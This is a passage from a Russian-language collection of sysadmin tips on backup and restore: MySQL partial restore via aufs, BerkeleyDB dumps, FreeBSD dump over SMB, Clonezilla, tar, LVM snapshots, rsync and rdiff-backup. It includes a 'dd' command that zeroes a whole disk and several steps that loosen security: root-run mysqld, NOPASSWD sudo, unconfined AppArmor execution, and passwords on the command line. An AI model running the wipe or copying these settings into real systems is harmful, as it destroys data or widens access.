       # mount -t aufs none /mnt/mysql-datadir -o dirs=/mnt/mysql-tmp:/mnt/mysql-backup=ro
       # mysqld_safe --defaults-file=/root/mysql-backup-restore.cnf
    
    /root/mysql-backup-restore.cnf - конфигурация для второго сервера, которую я
    сделал на базе конфига из дистрибутива.
    
       [mysqld]
       user=root
       pid-file        = /root/mysql-restore.pid
       socket          = /root/mysql-restore.sock
       basedir         = /usr
       datadir         = /mnt/mysql-datadir
       tmpdir          = /tmp
       language        = /usr/share/mysql/english
       skip-networking
       skip-external-locking
       key_buffer              = 16M
       max_allowed_packet      = 16M
       thread_stack            = 192K
       thread_cache_size       = 8
       myisam-recover         = BACKUP
       query_cache_limit       = 1M
       query_cache_size        = 16M
       expire_logs_days        = 10
       max_binlog_size         = 100M
       
       [mysqldump]
       quick
       quote-names
       max_allowed_packet      = 16M
       
       [isamchk]
       key_buffer              = 16M
       
       !includedir /etc/mysql/conf.d/
    
    После запуска вторая копия MySQL сервера доступна только через сокет
    /root/mysql-restore.sock, чем позволяет исключить посторонний доступ на время
    восстановления данных. Чтобы подключиться к запущенному серверу, нужно явно
    указать сокет:
    
       # mysql -S /root/mysql-restore.sock
       # mysqldump -S /root/mysql-restore.sock --add-drop-table dbname table1 table2 > dbrestore.sql
    
    После того, как данные сняты посредством mysqldump нужно остановить вторую
    копию сервера. Для этого нужно выполнить:
    
       # mysqladmin -S /root/mysql-restore.sock shutdown
    
    Когда дополнительный сервер остановится можно отмонтировать /mnt/mysql-datadir
    и /mnt/mysql-backup, и удалить директории /mnt/mysql-{backup,datadir,tmp}
    
    Несомненным преимуществом такого подхода является время, которое тратится на
    частичное восстановление резервной копии. Из недостатков пожалуй отсутствие
    sshfs и aufs во многих дистрибутивах (для centos я так и не смог найти пакета
    для добавления поддержки aufs). Возможно его следует заменить на любую другую
    реализацию union fs, но я это делать не пробовал.
    
     
    ----* Бэкап и восстановление данных из БД memcachedb и других хранилищ на базе BerkeleyDB   [обсудить]
     
    Memcachedb использует для хранения данных на диске BerkeleyDB, поэтому для
    резервного копирования следует использовать утилиты db_dump и db_load, для
    восстановления повреждённой БД можно использовать db_recover, а для проверки
    целостности db_verify.
    
    Для бэкапа выполняем:
    
       db_dump -h /usr/local/memcachedb data.db| gzip > memcachedb.dump.gz 
    
    где через опцию "-h" передан путь к рабочей директории с базой. Gzip используем
    для сжатия, так как итоговый файл с переносимым дампом в текстовом формате
    получается очень большим.
    
    Для восстановления в пустой директории, в которую нужно восстановить БД, выполняем:
    
       zcat memcachedb.dump.gz| db_load data.db
    
    Утилита db_dump может выполняться очень долго и создаёт дамп значительного
    размера, превосходящего по размеру файл базы. Более быстрый способ резервного
    копирования заключается в использовании утилиты db_hotbackup, которая копирует
    целостный слепок базы.
    
    Копируем базу:
    
       db_hotbackup -h /usr/local/memcachedb -b /mnt/backup/memcachdb_backup
    
    Для восстановления достаточно скопировать в пустую директорию содержимое
    созданной утилитой  db_hotbackup директории.
    
     
    ----* Резервное копирование и восстановление системного раздела FreeBSD с применением SMB-ресурса   Автор: 62mkv  [комментарии]
     
    Резервное копирование и восстановление системного раздела FreeBSD с применением
    SMB-ресурса в качестве промежуточного хранилища дампа. В любой сети, как
    правило, полно Windows ПК с достаточно большими винчестерами, что позволяет
    рассматривать SMB-ресурс как удобное средство хранения резервных копий системы.
    
    В данной статье описано как можно обеспечить возможность восстановления
    работоспособной  системы "с нуля", все что нужно - это LiveFS CD и корректный
    дамп работавшей некогда системы. Причем восстанавливать можно и на другое
    железо, принципиально это не влияет на технологию. Я, в частности, перенес
    систему с виртуальной машины на аппаратную (правда ОС была голая практически).
    
    Первоисточники (авторам которых огромное спасибо за их труд):
       http://rm-rf.ucoz.ru/publ/11-1-0-14
       http://sysadmins.ru/post7706741.html#7706741
    
    Создание дампа
    
    Подключить сетевой диск:
    
       mkdir /mnt/smb/
       mkdir /mnt/smb/backup
       mount_smbfs //user@хост/backup /mnt/smb/backup
    
    Выгрузить конфигурацию слайсов:
    
       fdisk -p /mnt/smb/backup/fdisk.cf
    
    Выгрузить конфигурацию разделов:
    
       bsdlabel /dev/ad0s1 > /mnt/smb/backup/bsdlabel.ad0s1
    
    Собственно, создаем дамп:
    
       dump -0aLuf /mnt/smb/backup/root.dump
    
    
    Восстановление на внешний винчестер
    
    Загрузиться с LiveFS CD (для виртуалки - убедиться что выставлена загрузка с CD в первую очередь)
    
    Войти в режим Fixit (CD/DVD)
    
    Для надежности (и только в том случае, если данные на имеющемся винчестере
    никому не нужны) (я делал это чтобы убедиться что восстановление действительно
    происходит по-честному) - затираем данные на имеющемся винчестере:
    
      dd if=/dev/zero of=/dev/ad0 bs=1M count=1000
    
    Желательно убедиться что теперь при попытке загрузки с винчестера ничего хорошего не выйдет ;)
    
    Поднять сеть:
    
       ifconfig le0 192.168.0.99 255.255.255.0 192.168.0.1
    
    Для удобства вписываем NetBIOS-имя того ПК, на котором лежит образ, в файл hosts:
    
       echo "192.168.0.10  хост" >> /etc/hosts
    
    (проверка : ping backup - должны ходить пакеты)
    
    Нужно помочь mount_smbfs загрузиться (см. также PPS в конце статьи, п.2):
    
       mkdir /boot/kernel
       cp /dist/boot/kernel/smbfs.ko /boot/kernel
       cp /dist/boot/kernel/lib*.ko /boot/kernel
    
    Создаем путь для точки монтирования:
    
       mkdir /mnt/smb
       mkdir /mnt/smb/backup
    
    Монтируем:
    
       mount_smbfs //user@хост/backup /mnt/smb/backup
       cd /mnt/smb/backup/vmtest03
    
    Восстанавливаем таблицу слайсов:
    
       fdisk -f fdisk.cf /dev/ad0
    
    возникает предупреждение (Class not found), а также возможно ругательство на
    геометрию раздела - игнорируем !
    
    Восстанавливаем таблицу разделов и стандартный загрузочный код:
    bsdlabel -R -B /dev/ad0s1 bsdlabel.ad0s1
    
    Инициализируем UFS на разделе куда будем разворачивать root:
    
       newfs /dev/ad0s1a
    
    Монтируем его:
    
       mkdir /mnt/root
       mount /dev/ad0s1a /mnt/root
    
    Восстанавливаем содержимое:
    
       cd /mnt/root
       restore -rvf /mnt/smb/backup/root.dump
       rm /restoresymtable
    
    Извлекаем CD, перезагружаемся.
    
    Внимание ! Если код устройства тома, на который вы восстанавливаете, отличается
    от кода устройства при создании (например был ad0, стал ad6), придется вручную
    подключать root и править /etc/fstab
    
    Запускаем редактор:
    vi  /etc/fstab
    
    По умолчанию мы оказываемся в "командном" режиме. Переводим курсор в то место,
    где нам надо заменить символы, например в строку с текстом /ad0s1a под 0. Жмем
    "x" - 0 удаляется. Теперь жмем "i". Перешли в режим вставки. Жмем 6. Получилось
    /ad6s1a. Жмем Esc. Теперь мы снова в командном режиме. Жмем ":" - переходим в
    командную строку vi. Жмем "wq" и Enter - команда "сохранить и выйти".
    
    PS: После восстановления из дампа, если необходимо, можно поднять зеркало
    "вживую" - как это сделать описано в статье
    http://www.opennet.dev/base/sys/freebsd_gmirror_raid1.txt.html Винчестер 120 Гб
    дублируется (без прочей нагрузки) примерно за час - полтора.
    
    PPS: Если нужно восстановить на уже поднятый gmirror: принципиально все то же
    самое, только есть два нюанса:
    1) если дамп был создан с обычного adX раздела, то в конфигурации корневого
    раздела не будет о GEOM-настройках ни слова, поэтому необходимо исправить
    /etc/fstab (вместо /dev/adXsY пишем /dev/mirror/gmZsY), а также добавить строку
    'geom_mirror_load="YES"' в /boot/loader.conf - без этого примонтировать корень
    с зеркала не удастся.
    
    2) чтобы загрузить gmirror и smbfs с LiveFS CD, можно в меню загрузки LiveFS
    выбрать п. 6 "Escape to loader command prompt", ввести в командной строке load
    smbfs, load geom_mirror, затем boot.
    
     
    ----* Использование Clonezilla для клонирования дисков с загрузкой по сети (доп. ссылка 1)   [комментарии]
     
    Clonezilla (http://clonezilla.org/) позволяет быстро клонировать диски,
    способом сходным с проприетарным продуктом Norton Ghost. При создании копии
    переносятся только занятые блоки данных, пустые области пропускаются.
    Поддерживается режим массового клонирования в multicast режиме, например, при
    тестировании, за 10 минут удалось провести клонирование исходного 5.6 Гб диска
    на 41 клиентскую машину. Поддерживаются ФС: ext2, ext3, ext4, reiserfs,
    reiser4, xfs, jfs, FAT, NTFS, UFS, HFS+ (Mac OS X).
    
    Для организации сервера для загрузки Clonezilla по сети (PXE), можно
    использовать следующую инструкцию для CentOS.
    
    Настраиваем NFS-сервер:
    
       mkdir -p /mnt/isoimage 
       mkdir -p /exports/clonezilla
    
    Загружаем clonezilla-live-*.iso с сайта http://clonezilla.org в директорию
    /tmp, монтируем iso-образ и копируем его содержимое в директорию /exports/clonezilla:
    
       mount -o loop /tmp/clonezilla-live-$LATESTVERSION.iso /mnt/isoimage  
       cp -a /mnt/isoimage/. /exports/clonezilla
       umount /mnt/isoimage 
    
    В /etc/exports добавляем:
    
       /exports/clonezilla *(ro,sync)
    
    Перезапускаем NFS:
    
       service nfs restart
       exportfs -ra 
    
    Настраиваем Tftp-сервер.
    
       mkdir -p /tmp/clonezilla
       mkdir /mnt/isoimage
       mkdir  /tftpboot/images/clonezilla/
    
    С iso-образа копируем на tftp-сервер загрузочные файлы с ядром и initrd:
    
       cp /mnt/isoimage/casper/initrd1.img   /tftpboot/images/clonezilla/initrd.gz
       cp /mnt/isoimage/casper/vmlinuz1   /tftpboot/images/clonezilla/vmlinuz
    
       umount  /mnt/isoimage 
    
    Настраиваем PXE-меню:
    
       MENU DEFAULT
       MENU LABEL Clonezilla live
    
       label clonezilla
       kernel images/clonezilla/vmlinuz
       # Older Clonezilla
       # append initrd=images/clonezilla/initrd.gz boot=casper netboot nfsroot=$NFSSERVER:$NFSEXPORT
       # Clonezilla 1.1.0-8
       append initrd=images/clonezilla/initrd.gz boot=live union=aufs netboot=nfs nfsroot=$NFSSERVER:$NFSEXPORT
    
    
    Загружаемся по сети и следуем инструкциям на экране.
    
     
    ----* Использование unison для двусторонней синхронизации файлов   [комментарии]
     
    Для решения задачи по синхронизации данных между двумя машинами, в ситуации
    когда изменения могут появиться на каждом из компьютеров, прекрасно подходит
    утилита unison (http://www.cis.upenn.edu/~bcpierce/unison/). При синхронизации
    между удаленными машинами в качестве транспорта может использоваться ssh. При
    обнаружении конфликтов, например, когда на обоих машинах отредактирован один и
    тот же файл, unison пытается разрешить конфликт автоматически, а если это не
    удается предоставляет пользователю интерфейс для принятия решения.
    
    Устанавливаем unison.
    
    Fedora/RHEL/CentOS:
    
       sudo yum install unison
    
    Debian/Ubuntu:
       sudo apt-get install unison
    
    FreeBSD:
       # cd /usr/ports/net/unison/ && make install
    
    Синхронизируем две локальные директории:
    
       unison /test1 /test2
    
    В процессе будет выводиться статистика и задаваться вопросы, касающаяся
    синхронизации и разрешения конфликтов, направление копирования будет указано стрелкой.
    
    Для синхронизации с удаленной директорией необходимо указать:
    
       unison /test1 ssh://testserver.test.ru//test1
    
    Чтобы выполнить синхронизацию автоматически, без интерактивного взаимодействия
    с пользователем необходимо использовать опцию "-batch". В случае конфликта,
    выполнение будет прервано с выводом соответствующего уведомления.
    
    Для определения сложной политики синхронизации можно создать файл конфигурации
    с определением параметров.
    
    Например, создаем файл ~/.unison/test.prf:
    
       # Определяем список директорий, которые будут синхронизированы
       root = /home/project
       root = /mnt/NFS/home/project
    
       # Указываем сохранять права доступа и владельца
       owner = true
       times = true
    
       # Определяем список поддиректорий, которые нужно синхронизировать, остальное игнорируем:
       path = cgi-bin
       path = htdocs
       path = conf
    
       # Определяем маски для файлов, которые не нужно синхронизировать
       ignore = Name .htaccess
       ignore = Name *~
       ignore = Name .*~
       ignore = Path conf/project.conf
       ignore = Path htdocs/rrd
       ignore = Path htdocs/mon
       ignore = Name *.o
       ignore = Name *.tmp
       ignore = Name *.log
       ignore = Name *.gz
       ignore = Name *.iso
       ignore = Name {,.}*{.old}
    
       # Копируем в резервные копии изменяемых файлов в отдельную  директорию
       backup = Name *
       backups = true
       backupdir = /home/project/backup
    
       # Определяем свою команду для отображения отличий между копиями файлов при конфликте
       #diff = diff -y -W 79 --suppress-common-lines
    
       # Сохраняем лог с результатами работы в отдельном файле
       log = true
       logfile = ./sync.log
    
    
    При необходимости синхронизировать описанные в файле конфигурации директории, выполняем:
    
       unison test
    
     
    ----* Создание инкрементального архива с помощью утилиты tar (доп. ссылка 1) (доп. ссылка 2)   Автор: sanmai  [комментарии]
     
    В самом простом виде инкрементальный архив с помощью tar делается так:
    
       tar --create --file=`date +%s`.tbz2 --bzip --listed-incremental=example.snar --verbose example/
    
    Кратко:
    
       tar -cvjg example.snar -f `date +%s`.tbz2  example/
    
    Развертывается архив через распаковку всех составляющих архивов по очереди, от
    самых старых к самым новым.
    
    В простейшем случае так:
    
       tar --extract --incremental --file level0.tar
       tar --extract --incremental --file level1.tar
       tar --extract --incremental --file level2.tar
    
    Или, например, так:
    
       for i in *.tbz2; do tar -xjGf "$i"; done;
    
    Если нужно  извлечь только  конкретные каталоги  из архива:
    
       tar -xjGf levelX.tar --wildcards 'example/foo*' 'example/bar*'
    
    При использовании следующего скрипта, архив нулевого уровня будет создаваться
    раз в неделю или раз в месяц, в зависимости от того какая строка раскомментирована:
    
       #!/bin/sh
       SOURCE="$1"
       test -d "$SOURCE" || exit 1
    
       DEST_DIR=`date +%G-%V`; #weekly
       #DEST_DIR=`date +%Y-%m`; #monthly
       #DEST_DIR=`date +%Y`-$(( (`date +%m`-1)/3+1 )); #quarterly
    
       mkdir -p $DEST_DIR;
       shift;
       tar --create "$@" --preserve-permissions --totals --bzip \
       --file="$DEST_DIR"/`date +%F-%s`.tbz2 \
       --listed-incremental="$DEST_DIR"/backup.snar \
       --no-check-device --exclude-vcs \
       --exclude-tag-under=access.log --exclude='*.log' \
       --exclude-caches --exclude-tag-under=IGNORE.TAG "$SOURCE"
    
    Проверить работу этого скрипта можно, например, так:
    
       ./backup.sh example/ -v
    
    Для некоторых версий tar наблюдается крах при одновременном использовании
    --exclude-caches и --exclude-tag=, в этом случае --exclude-caches можно
    заменить на --exclude-tag=CACHEDIR.TAG.
    
     
    ----* Резервное копирование MySQL с использованием LVM снапшотов в Debian Linux (доп. ссылка 1)   [комментарии]
     
    Утилита mylvmbackup (http://lenz.homelinux.org/mylvmbackup/) позволяет
    автоматизировать создание резервных копий БД MySQL с минимальным временем
    простоя базы. Процесс создания бэкапа состоит из следующих фаз: установка
    блокировки на таблицы, инициирование сброса кэшей на диск, создание LVM
    снапшота директории с MySQL таблицами, снятие блокировки. Так как время
    создания снапшота очень мало, простой базы сводится к минимуму при полном
    сохранении целостности.
    
    Пример использования утилиты для системы на которой уже работает MySQL,
    директория с БД (/var/lib/mysql) размещена на LVM разделе и в системе доступен
    раздел /dev/sdb на котором достаточно для создания временных LVM снапшотов.
    
       # df -h
       ...
       /dev/mapper/server1-mysql  8.9G  170M  8.3G   2% /var/lib/mysql
    
    Имя LVM группы server1, имя раздела с данными MySQL - mysql.
    
       # pvdisplay
       --- Physical volume ---
       PV Name               /dev/sda5
       VG Name               server1
       PV Size               29.52 GB / not usable 3.66 MB
       ...
     
       # vgdisplay
      --- Volume group ---
      VG Name               server1
      System ID
      Format                lvm2
      ...
    
       # lvdisplay
      --- Logical volume ---
      LV Name                /dev/server1/mysql
      VG Name                server1
      ...
    
    Диск /dev/sdb имеет один раздел /dev/sdb1, занимающий все пространство диска.
    Подключаем его к имеющемуся LVM группе server1 с целью увеличения свободного
    места, которое потребуется для работы со снапшотами. Дополнительные LVM разделы
    создавать не нужно.
    
       # pvcreate /dev/sdb1
       # vgextend server1 /dev/sdb1
    
    Устанавливаем пакет mylvmbackup:
    
       # aptitude install mylvmbackup
    
    Изучаем руководство по mylvmbackup и при необходимости меняем файл конфигурации
    /etc/mylvmbackup.conf под свои нужды:
    
       $ man mylvmbackup
    
    
    По умолчанию бэкапы будут сохраняться в директорию /var/cache/mylvmbackup/backup.
    
    Простейшая команда для создание резервной копии (параметры можно указать в
    файле конфигурации) MyISAM таблиц:
    
       mylvmbackup --user=root --password=пароль --mycnf=/etc/mysql/my.cnf \
          --vgname=server1 --lvname=mysql --backuptype=tar
    
    Пример для InnoDB таблиц:
    
       mylvmbackup --user=root --password=пароль --innodb_recover --skip_flush_tables \
          --mycnf=/etc/mysql/my.cnf --vgname=server1 --lvname=mysql --backuptype=tar
    
    В опции --vgname указываем имя LVM группы, а в опции --lvname имя LVM раздела с данными.
    
    
    После выполнения команды проверяем корректность создания резервной копии:
    
       ls -l /var/cache/mylvmbackup/backup
    
       -rw-r--r-- 1 root root 246847 2010-01-27 19:17 backup-20100127_191658_mysql.tar.gz
    
    В созданном  tar.gz файле находятся две директории: 
    
    backup с архивом таблиц, который можно просто распаковать в рабочую директорию
    /var/lib/mysql при проведении восстановления данных.
    backup-pos с копией файла конфигурации my.cnf.
    
     
    ----* Автоматическое создания бэкапа с задействованием DHCP сервера (доп. ссылка 1)   Автор: scofield  [комментарии]
     
    Ниже представлен перевод руководства
    (http://howtoforge.org/automated-backups-using-dhcpd-on-ubuntu) по настройке
    резервного копирования удаленных машин, с привязкой к обращению клиента к dhcpd
    серверу. Примеры настройки справедливы для Ubuntu Linux, для других
    дистрибутивов могут потребоваться незначительные очевидные изменения.
    
    Конфигурирование сервера
    
    Настройка dhcp3. В файл /etc/dhcp3/dhcps.conf добавляем:
    
       on commit {
         execute (
           "/etc/dhcp3/startbackup.sh",
           "start",
           binary-to-ascii(10,8,".",leased-address)
         );
       }
    
    Создаем скрипт /etc/dhcp3/startbackup.sh, указанный в файле настройки dhcp.
    
       #!/bin/bash
       case "$1" in
       start)
         sudo -u backup /etc/dhcp3/rsync.sh $2
       ;;
       *)
       ;;
       esac
       exit 0
    
    Создаем скрипт /etc/dhcp3/rsync.sh:
    
       #!/bin/bash
       nohup rsync -azuvb backup@$1:/home /backup/$1 &
    
    Создаем директорию для хранения бэкапов:
    
       sudo mkdir /backup
    
    Создаем пользователя "backup"
    
       sudo useradd backup
       sudo chown backup:backup /backup
    
    Генерируем ssh-ключи:
    
       ssh-keygen -t rsa
    
    Копируем ключи на все машины, с которых будет производиться резервное
    копирование ("[host]" заменяем на имя машины):
    
       ssh-copy-id -i ~/.ssh/id_rsa backup@[host]
    
    
    Запускаем sudo visudo и добавляем строку, позволяющую организовать запуск
    /etc/dhcp3/startbackup.sh из dhcpd от имени пользователя backup
    
       dhcpd ALL=(backup)NOPASSWD: /etc/dhcp3/startbackup.sh, /etc/dhcp3/rsync.sh
    
    Настройка AppArmor
    
    В файле /etc/apparmor.d/usr.sbin.dhcpd3 добавляем "/etc/dhcp3/startbackup.sh Uxr,", заменив
    
       /etc/dhcp3/ r,
       /etc/dhcp3/** r,
       /etc/dhcpd.conf r,
       /etc/dhcpd_ldap.conf r,
    
    на
    
       /etc/dhcp3/ r,
       /etc/dhcp3/** r,
       /etc/dhcp3/startbackup.sh Uxr,
       /etc/dhcpd.conf r,
       /etc/dhcpd_ldap.conf r,
    
    
    Перезапускаем сервисы apparmor и dhcp3-server
    
       sudo /etc/init.d/apparmor restart
       sudo /etc/init.d/dhcp3-server restart
    
    
    Настройка клиента
    
    Создаем пользователя "backup":
    
       sudo useradd backup
       sudo usermod -G root
    
    Тестируем настройки 
    
       sudo dhclient рабочий_сетевой_интерфейс
    
    После чего, на сервере должна быть создана резервная копия данных с машины клиента
    
     
    ----* Создание бекапа OpenVZ контейнера (доп. ссылка 1)   [обсудить]
     
    Для создания инкрементального бэкапа по сети можно использовать готовый скрипт ezvzdump,
    суть работы которого в создании копии через rsync, заморозке окружения с
    сохранением дампа состояния (vzctl chkpnt $VEID --suspend
    ), копированию сохраненного дампа и изменившихся с момента последнего rsync
    файлов, продолжению работы остановленного OpenVZ контейнера (vzctl chkpnt $VEID --resume).
    
    Для создания целостных дампов можно воспользоваться утилитой vzdump:
    
       vzdump 777
    
    После этого образ текущего состояния OpenVZ контейнера будет сохранен в /vz/dump/
    
    Утилита vzdump также поддерживает схему suspend/rsync/resume:
    
       vzdump --suspend 777
    
    А также можно сохранить дамп почти мгновенно методом suspend/LVM2 snapshot/resume:
    
       vzdump --dumpdir /space/backup --snapshot 777
    
    В итоге будет сформирован архив /space/backup/vzdump-777.tar, который можно восстановить командой:
    
       vzdump --restore /space/backup/vzdump-777.tar 600
    
     
    ----* Сохранение версий небольших проектов (доп. ссылка 1)   Автор: Марецкий Александр  [комментарии]
     
    Допустим Вы пишете скрипт или маленький проект из нескольких файлов.
    Соответственно возникает желание периодически
    сохранять результат своих трудов, чтобы в случае необходимости откатиться на шаг или два назад. 
    Для крупного проекта идеально подойдет система контроля версий, а для маленькой
    задачи подойдет и небольшой shell-скрипт.
    
    Для начала использования скрипта достаточно:
    - переименовать save.sh в просто save - для удобства набора в терминале
    - разместить его где-нибудь в пределах охвата переменной окружения $PATH (тоже для удобства)
    - определить в начале скрипта переменной SAVEDIR путь к желаемой директории хранения файлов
    
    Вот этот shell-скрипт:
    
       #!/bin/sh
    
       SAVEDIR="${HOME}/save"   # where save backups
       LIMIT_BYTES=1048576      # set 1Mb limit
    
       SCRIPT="save"
       VERSION="20090903"
    
       if test "${1}"
       then
          echo "${SCRIPT} version ${VERSION}" >&2
          echo "Saves backup of whole current directory" >&2
          exit 1
       fi
    
       err()
       {
          echo "${SCRIPT}: ERROR: ${1}" >&2
          exit 1
       }
    
       #### check save directory
       test -d "${SAVEDIR}" || mkdir "${SAVEDIR}" 2>/dev/null
       test -d "${SAVEDIR}" || err "failed to create directory: ${SAVEDIR}"
    
       #### check size
       DIR="$(basename $(pwd))"
       DIR_SIZE_BYTES=$(du -s . | awk '{print $1}')
       test ${DIR_SIZE_BYTES} -gt ${LIMIT_BYTES} && err "size (${DIR_SIZE_BYTES}) of ${DIR} is greater than limit of ${LIMIT_BYTES}"
    
       #### saving
       cd .. || err "FAILED"
       tar cpzf "${SAVEDIR}/${DIR}.$(date +%Y%m%d%H%M%S).tar.gz" "${DIR}" || err "failed to create archive"
       echo "saved: ${DIR}"
    
    Например, Вы пишете какой-то хороший ценный скрипт, соответственно предполагаем
    что у Вас открыт терминал
    и рабочей директорией является каталог с разрабатываемым скриптом или документов:
    
       $ pwd
    
       /home/user/tmp/mysmallproject
    
       $ ls -l
       
       итого 12
       -rwxr-xr-x 1 user users 895 2009-09-08 00:52 project.c
       -rwxr-xr-x 1 user users 170 2009-09-08 00:52 project.h
       -rwxr-xr-x 1 user users 865 2009-09-08 00:48 project.sh
    
    Тогда для создания бэкапа просто наберите "save":
    
       $ save
       saved: mysmallproject
    
    Все, копия файлов сохранена. Посмотрим на нее:
    
       $ ll /home/user/save/my*
       -rw-r--r-- 1 user users 1,1K 2009-09-08 00:54 /home/user/save/mysmallproject.20090908005453.tar.gz
    
    Видим что скрипт в указанной директории создает архив текущего рабочего каталога и в имени архива 
    дата до секунд. Это удобно, архивы аккуратно выстраиваются по дате.
    
    В скрипте еще предусмотрена переменная LIMIT_BYTES, значение которой
    ограничивает максимальный размер
    текущей директории (рекурсивно, до архивирования). Это для того чтобы случайно
    не архивировать что-то крупное.
    
     
    ----* Резервное копирование почтового ящика Gmail в Linux   [комментарии]
     
    Вариант 1. GUI интерфейс.
    
    Загружаем с сайта http://www.gmail-backup.com/download программу gmail-backup.
    
    Убедимся, что в системе установлен Python 2.5, библиотеки wxWidgets и модуль wxPython 
    (в Debian/Ubuntu пакеты python2.5 python-wxversion).
    
    Активируем "Включить IMAP" в настройках Gmail доступ через IMAP
    (Settings / Forwarding and POP/IMAP или Настройки / Пересылка и POP/IMAP).
    
    Для начала резервного копирования запускаем GUI интерфейс и вводим необходимые параметры аккаунта:
    
       ./gmail-backup-gui.sh
    
    Автоматизировать загрузку резервных копий можно через поставляемый в комплекте
    с gmail-backup скрипт:
    
       ./gmail-backup.sh backup имя_папки user@gmail.com пароль
    
    Для выборочного бэкапа нужно использовать:
    
       ./gmail-backup.sh backup dir user@gmail.com password 20070621 20080101
    
    Для восстановления данных:
    
       ./gmail-backup.sh restore dir user@gmail.com password
    
    Для копирования только новых данных, накопившихся с момента прошлого бэкапа:
    
       ./gmail-backup.sh backup dir user@gmail.com password --stamp
    
    Как видно у скрипта имеется существенная проблема - необходимость указания
    пароля прямо в командной строке,
    что с точки зрения безопасности неприемлимо. Исправить ситуацию не получается,
    пакет распространяется только в бинарном виде.
    
    Вариант 2. Использование пакета getmail:
    
    Ставим getmail (http://pyropus.ca/software/getmail/):
    
       sudo apt-get install getmail4
    
    Создаем 2 директории: .getmail для хранения настроек и директорию gmail-archive
    для хранения бэкапа.
       
       mkdir ~/.getmail
       mkdir ~/gmail-backup
    
    Создаем файл конфигурации ~/.getmail/getmail.gmail:
    
        [retriever]
        type = SimpleIMAPSSLRetriever
        server = imap.gmail.com
        username = user@gmail.com
        password = password
    
        [destination]
        type = Maildir
        path = ~/gmail-backup/ 
        
        # Если вместо maildir нужно использовать формат mbox:
        # type = Mboxrd
        # path = ~/gmail-backup/gmail.mbox
    
        [options]
        verbose = 2
        message_log = ~/.getmail/gmail.log 
    
    Запускаем копирование писем:
    
       getmail -r ~/.getmail/getmail.gmail
    
     
    ----* Использование rdiff-backup (доп. ссылка 1)   Автор: Yuri Trofimov  [комментарии]
     
    Иногда при проведении резервного копирования, бэкапов, не требуется вся мощь
    систем уровня предприятия,
    таких как, например, Bacula. Но, с другой строны, не совсем подходят и простые самописные скрипты. 
    Как всегда, требуется что-то среднее.
    
    Вот тут-то и следует обратить внимание на rdiff-backup (http://www.nongnu.org/rdiff-backup/).
    
    rdiff-backup - это кучка скриптов на питоне, которые хранят историю файлов,
    сохраняя на диске только их отличия.
    rdiff-backup бэкапит один каталог в другой. Целевой каталог в результате содержит 
    копию исходного каталога. Различия текущей и предыдущей копий исходного каталога сохраняются 
    в отдельном месте, поэтому можно восстановить и удаленные файлы. rdiff-backup может 
    также работать через конвейер с ограничением полосы пропускания, подобно rsync. 
    Вы можете использовать rdiff-backup и ssh для безопасного копирования данных на удаленную систему, 
    причем передаваться будут только различия. Система корректно работает с символическими ссылками, 
    файлами устройств, правами и т.д. и может быть использована для копирования всей файловой системы.
    
    На сервере-хранилище-бэкапов и всех серверах, учавствующих в резервном
    копировании необходимо установить rdiff-backup.
    
    Авторизацию для ssh делаем с помощью AuthorizedKeysFile.
    
    Если на хосте-хранилище-бэкапов используется нестандартный порт для ssh, 
    то на хосте откуда бэкапим (клиенте) делаем файл ~/.ssh/config
    
       Host host.tld
          Port 3333
          Protocol 2
          Compression yes
    
    
    Пример скрипта
    
    Скрипт бэкапит базу MySQL и каталоги виртуальных хостов с клиента (client.tld)
    на сервер бэкапов (host.tld).
    Чтобы быстро находить нужный бэкап, на хосте-хранилище-бэкапов создаются каталоги 
    по именам хостов-клиентов и далее уже в каждом из них хранится дерево каталогов, как и в оригинале.
    
       #!/bin/sh
    
       TMPDIR="/tmp/mysqldump"
       DUMPFILE="${TMPDIR}/client.tld.mysqldump"
    
       echo -e "\nmysqldump start...\n"
       mkdir "${TMPDIR}"
    
       /usr/bin/mysqldump --single-transaction --quick --skip-extended-insert \
          -uUSER -pPASSWORD NAMEDB > "${DUMPFILE}"
       /usr/bin/rdiff-backup --print-statistics "${TMPDIR}" \
          user@host.tld::"client.tld/mysqldump"
       rm -f "${DUMPFILE}"
       rmdir --ignore-fail-on-non-empty "${TMPDIR}"
    
       echo -e "\n\nstart /var/www/vhosts backup ...\n"
    
       /usr/bin/rdiff-backup --create-full-path --exclude-symbolic-links --exclude-sockets \
    
          --exclude-special-files --exclude-fifos --exclude-device-files --no-hard-links \
          --print-statistics \
          "/var/www/vhosts" user@host.tld::"client.tld/var/www/vhosts"
    
    В cron'е можно изобразить что-нибудь типа:
    
      /root/bin/mybackup.sh | \
          /bin/mail -c "admin@domain.com" -s "`uname -n` backup report" root@localhost
    
    Вы будете получать примерно такие отчеты:
    
       --------------[ Session statistics ]---------
       StartTime 1227924257.00 (Sat Nov 29 02:04:17 2008)
       EndTime 1227924381.73 (Sat Nov 29 02:06:21 2008)
       ElapsedTime 124.73 (2 minutes 4.73 seconds)
       SourceFiles 2883
       SourceFileSize 31441627 (30.0 MB)
       MirrorFiles 2883
       MirrorFileSize 31441627 (30.0 MB)
       NewFiles 0
       NewFileSize 0 (0 bytes)
       DeletedFiles 0
       DeletedFileSize 0 (0 bytes)
       ChangedFiles 0
       ChangedSourceSize 0 (0 bytes)
       ChangedMirrorSize 0 (0 bytes)
       IncrementFiles 0
       IncrementFileSize 0 (0 bytes)
       TotalDestinationSizeChange 0 (0 bytes)
       Errors 0
    
    
    Восстановление
    
    Если что-то случится с rdiff-backup, то восстановить данные можно простым
    копированием, и это важно.
    
    Пример стандартной команды для восстановления (где host.tld - хост-хранилище-бэкапов) :
    
       rdiff-backup -r now user@host.tld::"client.tld/var/www/vhosts" /tmp/vhosts
    
    Восстановление файлов в состоянии как 10 дней назад :
    
       rdiff-backup -r 10D user@host.tld::"client.tld/var/www/vhosts" /tmp/vhosts
    
    см. также секцию TIME FORMATS в man.
    
    Дополнительно
    
    Существует RdiffWeb для web-доступа к резервным копиям, сделанным утилитой rdiff-backup.
    
    
    Дополнение от редактора: 
    
    При использовании стандартного rsync, для отдельного сохранения изменений накопившихся за день 
    в отдельной директории, можно использовать примерно такой скрипт:
    
       snapshot_dir="/snapshot/backup_snap/`date \+\%Y_\%m_\%d`"
       mkdir $snapshot_dir
       /usr/local/bin/rsync -a -v --delete --max-delete=1000 --hard-links \
          --delete-excluded --exclude-from=/etc/rsync_backup.exclude / /backup \
          --backup --backup-dir=$snapshot_dir
    
    В /etc/rsync_backup.exclude добавляем список исключений ( в конце "/*" чтобы директория создалась):
     
       /backup/*
       /snapshot/*
       /mnt/*
       /var/log/*
       /proc/*
       ... и т.п.
    
    Для чистки снапшотов старее 30 дней, в cron добавляем:
    
